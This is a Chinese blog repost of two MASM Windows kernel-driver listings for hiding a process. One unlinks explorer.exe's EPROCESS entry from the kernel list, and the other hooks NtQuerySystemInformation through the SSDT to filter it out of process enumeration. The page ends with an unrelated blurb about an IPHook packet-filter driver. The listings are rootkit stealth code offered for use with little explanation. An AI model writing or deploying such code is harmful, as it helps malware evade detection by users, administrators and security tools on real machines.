进程隐藏的两种方法(转)

一、
 
.386
.model flat, stdcall
option casemap:none
;**************************************************************************************************
include w2k/ntstatus.inc
include w2k/ntddk.inc
include w2k/ntoskrnl.inc
includelib w2k/ntoskrnl.lib
include Strings.mac
_DriverUnload proto :PDRIVER_OBJECT
_DispatchControlIo proto :PDEVICE_OBJECT,:PIRP
;**************************************************************************************************
.data
szHide                  db   'explorer.exe',0
Flink                   dd   ?
Blink                   dd   ? 
Explorer                dd   ?
.const
CCOUNTED_UNICODE_STRING " //Device//devHideprocess", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING " //??//slHideprocess", g_usSymbolicLinkName, 4   
  
;**************************************************************************************************
.code
DriverEntry proc uses ebx edi esi, pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
 local status:NTSTATUS
 local pDeviceObject:PDEVICE_OBJECT
 local   dwId,lpEprocess
        local   ListOffset,NameOffset
 local   IdOffset
 local   Version
        
;       int 3
; invoke DbgPrint,$CTA0("/n/nEntry  DriverEntry/n/n")
 mov status,STATUS_DEVICE_CONFIGURATION_ERROR
 invoke IoCreateDevice,pDriverObject,0,addr g_usDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,addr pDeviceObject
 .if     eax==STATUS_SUCCESS
         mov eax,pDriverObject
  assume eax:ptr DRIVER_OBJECT
  mov [eax].DriverUnload,  offset _DriverUnload
  assume eax:nothing
  ;获得得系统版本
  invoke  PsGetVersion,NULL,addr Version,NULL,NULL     
                mov     eax,Version
  cmp     eax,0
  jne     l1
  mov     ListOffset,0A0h
  mov     NameOffset,1fch
  jmp     l2
        l1:     cmp     eax,1
         jne     exit
  mov     ListOffset,88h
  mov     NameOffset,174h
        l2:     invoke  PsGetCurrentProcessId
         mov     dwId,eax
         invoke  PsLookupProcessByProcessId,dwId,addr lpEprocess
  mov     esi,lpEprocess
  add     esi,ListOffset
  mov     edi,esi
                assume  edi:PLIST_ENTRY
         assume  esi:PLIST_ENTRY  
        l3:     mov     edx,[esi].Flink
         ;比较是否为最后一个EPROCESS
                cmp     edx,edi                                      
  je      l4
  assume  esi:nothing
  sub     esi,ListOffset
  add     esi,NameOffset
  invoke  strcmp,esi,addr szHide
  .if     eax == 0
          sub     esi,NameOffset
          add     esi,ListOffset  
          mov     Explorer,esi
   assume  esi:PLIST_ENTRY
   assume  ebx:PLIST_ENTRY
   assume  eax:PLIST_ENTRY
                        ;删除节点
   mov     eax,[esi].Flink            
   mov     ebx,[esi].Blink
   mov     [ebx].Flink,eax
   mov     [eax].Blink,ebx
   mov     Flink,eax
   mov     Blink,ebx
   assume  eax:nothing
   assume  ebx:nothing
   
   invoke DbgPrint,$CTA0("/n/n************hide process successful ***********/n/n")
   jmp     l4
                .endif
  ;恢复EPROCESS指针
                sub     esi,NameOffset                                  
                add     esi,ListOffset                 
                assume  esi:PLIST_ENTRY
                mov     esi,[esi].Flink
                jmp     l3
l4:  
         assume  esi:nothing
                assume  edi:nothing                
                mov     status,STATUS_SUCCESS      
exit:     
 .endif
 mov     eax,status
 ret
        mov     eax,STATUS_DEVICE_CONFIGURATION_ERROR
        ret
DriverEntry endp
;----------------------------------------------------------------------------------------------------
;                                 D R I V E R U N L O A D                                          
;----------------------------------------------------------------------------------------------------
_DriverUnload proc pDriverObject:PDRIVER_OBJECT
;       int 3
; invoke DbgPrint,$CTA0("/n/nEntry DriverUnload/n/n")
        pushad
        mov     eax,Flink
 mov     ebx,Explorer
 assume  ebx:PLIST_ENTRY
 assume  eax:PLIST_ENTRY
 ;恢复被摘除的节点
 mov     [eax].Blink,ebx                                             
 mov     [ebx].Flink,eax
 mov     eax,Blink
 mov     [eax].Flink,ebx
 mov     [ebx].Blink,eax
 
 popad
 ;清除符号连接
 invoke IoDeleteSymbolicLink,addr g_usSymbolicLinkName                
 mov eax, pDriverObject   
 ;删除在初始化创建的设备
 invoke IoDeleteDevice,(DRIVER_OBJECT PTR [eax]).DeviceObject
 
 ret
_DriverUnload endp
;----------------------------------------------------------------------------------------------------
;                                 E N D                                          
;----------------------------------------------------------------------------------------------------
             
end DriverEntry
 

二、
 
.386
.model flat, stdcall
option casemap:none
;**************************************************************************************************
include w2k/ntstatus.inc
include w2k/ntddk.inc
include w2k/ntoskrnl.inc
include w2k/native.inc
includelib ntoskrnl.lib
include Strings.mac
_DriverUnload proto :PDRIVER_OBJECT
_DispatchControlIo proto :PDEVICE_OBJECT,:PIRP
;**************************************************************************************************
.data
;保存地址
dwOldNtQuerySystemInformation  dd            ?
dwAddr                         dd            ?
.const
CCOUNTED_UNICODE_STRING " //Device//devHideprocess", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING " //??//slHideprocess", g_usSymbolicLinkName, 4
CCOUNTED_UNICODE_STRING "explorer.exe", processname, 4 
  
;**************************************************************************************************
.code
NewNtQuerySystemInformation     proc  SysInfoClass,lpSysInfo,SysInfoL,Return
                     
                    invoke NtQuerySystemInformation,SysInfoClass,lpSysInfo,SysInfoL,Return
                    pushad   
      test eax,eax
      jnz   exit
      .if    SysInfoClass == SystemProcessesAndThreadsInformation
             mov     esi,lpSysInfo
      mov     ebx,esi
             add     esi,[esi]                                     
     
         @@:               add     esi,38h                                        ;在38h偏移处取得进程名字。
                           invoke  RtlCompareUnicodeString,addr processname, esi, 1
      .if    eax== 0
             invoke DbgPrint, $CTA0("/nsuccessful /n")
             .if    dword ptr[esi-38h] == 0
             mov dword ptr[ebx],0
      jmp    exit
             .else    
             sub    esi,38h
             mov    edx,[esi]
                                         add    [ebx],edx
 
                                         add    esi,[esi]
             jmp    @B
                                  .endif
             .else
                                  sub    esi,38h
             cmp    dword ptr[esi],0
             jz     exit
             mov    ebx,esi
                                  add    esi,[esi]
      jmp    @B
             .endif        
      .endif
                
  exit:      popad
                    ret
NewNtQuerySystemInformation    endp
;----------------------------------------------------------------------------------------------------
;                                 H O O K F U N C                                         
;----------------------------------------------------------------------------------------------------
HookFunction        proc
                    pushad
;      int 3
;      invoke DbgPrint, $CTA0("/nEntry into hoookfunction/n")
                    ;下面是用KeServiceDescriptorTabled导出符号获得数组的基地址,这个数组中包含有NtXXXX函数的入口地址。
      mov eax, [KeServiceDescriptorTable]
             mov esi, [eax]
      mov esi, [esi]
                    ;下面五句为获取ZwQuerySystemInformation的地址
      mov eax,ZwQuerySystemInformation
      inc eax
      inc eax
      mov eax,[eax]
      mov eax,[eax]
      inc eax
      movzx ecx,byte ptr[eax]
      sal ecx,2                  
      add esi,ecx
      mov dwAddr,esi
      mov edi,dword ptr[esi]
      ;保存旧的函数地址。
      mov dwOldNtQuerySystemInformation,edi
                    mov edi,offset NewNtQuerySystemInformation
      ;修改入口地址
      cli
      mov dword ptr[esi],edi
      sti
      popad
                    mov eax, STATUS_SUCCESS
      ret
HookFunction     endp
;----------------------------------------------------------------------------------------------------
;                                 DriverUnload                                          
;----------------------------------------------------------------------------------------------------                               
DriverUnload        proc pDriverObject:PDRIVER_OBJECT
;必须保存环境,否则后果很严重。在这个函数中恢复被修改的地址。
 
                   pushad
;             int 3
;                   invoke DbgPrint, $CTA0("/nEntry into DriverUnload /n")
                    mov esi,dwAddr
             mov eax,dwOldNtQuerySystemInformation
                    cli
             mov dword ptr[esi],eax
             sti
                    invoke IoDeleteSymbolicLink, addr g_usSymbolicLinkName
             mov eax,pDriverObject
             invoke IoDeleteDevice, (DRIVER_OBJECT PTR [eax]).DeviceObject             
             popad
             ret
DriverUnload endp
;----------------------------------------------------------------------------------------------------
;                                 D R I V E R E N T R Y                                          
;----------------------------------------------------------------------------------------------------
DriverEntry         proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
                    local status:NTSTATUS
      local pDeviceObject:PDEVICE_OBJECT
;                   int 3
;             invoke DbgPrint, $CTA0("/nEntry into DriverEntry/n")
             mov status, STATUS_DEVICE_CONFIGURATION_ERROR
                    invoke IoCreateDevice, pDriverObject, 0, addr g_usDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, addr pDeviceObject
             .if    eax == STATUS_SUCCESS
      mov eax, pDriverObject
      assume eax:ptr DRIVER_OBJECT
      mov [eax].DriverUnload,  offset DriverUnload
                    assume eax:nothing
                           invoke HookFunction       
      mov status, STATUS_SUCCESS
             .endif
             mov eax, status
             ret
DriverEntry         endp
end DriverEntry
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
一款改自IPHook的IP数据包监控过滤程序 By ccc 2009-6-13 完成(ch2zh1@tom.com) IP包过滤程序采用IPHook驱动器程序,在内核层用钩子回调函数(IpHookFilter)勾住系统自带的IP过滤驱动器(System32\Drivers\IpFltDrv.sys),从而返回过滤驱动器传输的所有IP包数据。可以通过回调函数的返回值(PF_DROP、PF_FORWARD、PF_PASS),指示滤波驱动器对包的处理,是抛弃还是通过。 应用启动驱动器过程可以使用驱动器的安装,或使用系统的服务控制器(ServiceControl)直接启动和停止驱动程序。 服务控制器利用OpenSCManager等服务控制函数控制驱动程序的加载与卸载。这就使得应用程序可以在运行时自动加载和卸载需要的驱动程序。而不必设置驱动程序的安装过程。 初始的IPHook.sys只提供了IP包的监视过程即,仅仅返回IP头信息。在应用中解释并显示这个头信息。经过写改的IPHook增加了对IP包的过滤处理,有几个设置命令: START_IP_HOOK :启动钩子过滤命令,建立连接IP滤波器的回调函数(原始命令) STOP_IP_HOOK :停止钩子过滤命令,撤销IP滤波器回调函数(原始命令) ADD_IP_HOOKADDR :添加过滤IP地址,回调函数判断IP包,以决定是放弃还是通过(新命令) DEL_IP_HOOKADDR :删除过滤IP地址(新命令) ADD_IP_HOOKPORT :添加过滤端口号(新命令) DEL_IP_HOOKPORT :删除过滤端口号(新命令) ADD_IP_OVER_HOOK :添加置换的IP地址,用于对指定目的的IP包置换源地址和端口号(New) DEL_IP_OVER_HOOK :取消IP地址置换。(New) 应用程序可一次设置和删除对个滤波地址和端口号。对于重复设置,IPHook可以正确识别并加以剔除。这是一个演示程序主要想说明windows2000驱动程序编程过程,及应用自动加载和卸载驱动的方式。 驱动程序的源码在DrvChecked.rar中,要想正确编译,必须安装windows2000 DDK,并在VS2003下设置包含目录指向DDK的目录,库目录也要指向DDK的库目录: C:\NTDDK\inc C:\NTDDK\inc\ddk C:\NTDDK\libchk\i386 并且在排列上一定要排在头两个位置上。 这个驱动程序在VC++下是可以正确编译通过的。驱动程序名:DrvChecked.sys。使用时应该改为:iphook.sys。delphi下的应用程序为:IPPacketMonitor.exe,它使用IPHook.sys。 任何人可以自己编译和修改这个驱动程序,使之能够按照一定的方式运行,这里给出的只是本人的一个想法,希望能给各位带来一点帮助。任何应用程序都可以想打开文件一样使用这个驱动程序,关于使用方法请参考Release Notes.htm提供的线索。 有什么问题和建议请电邮:ch2zh1@tom.com
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值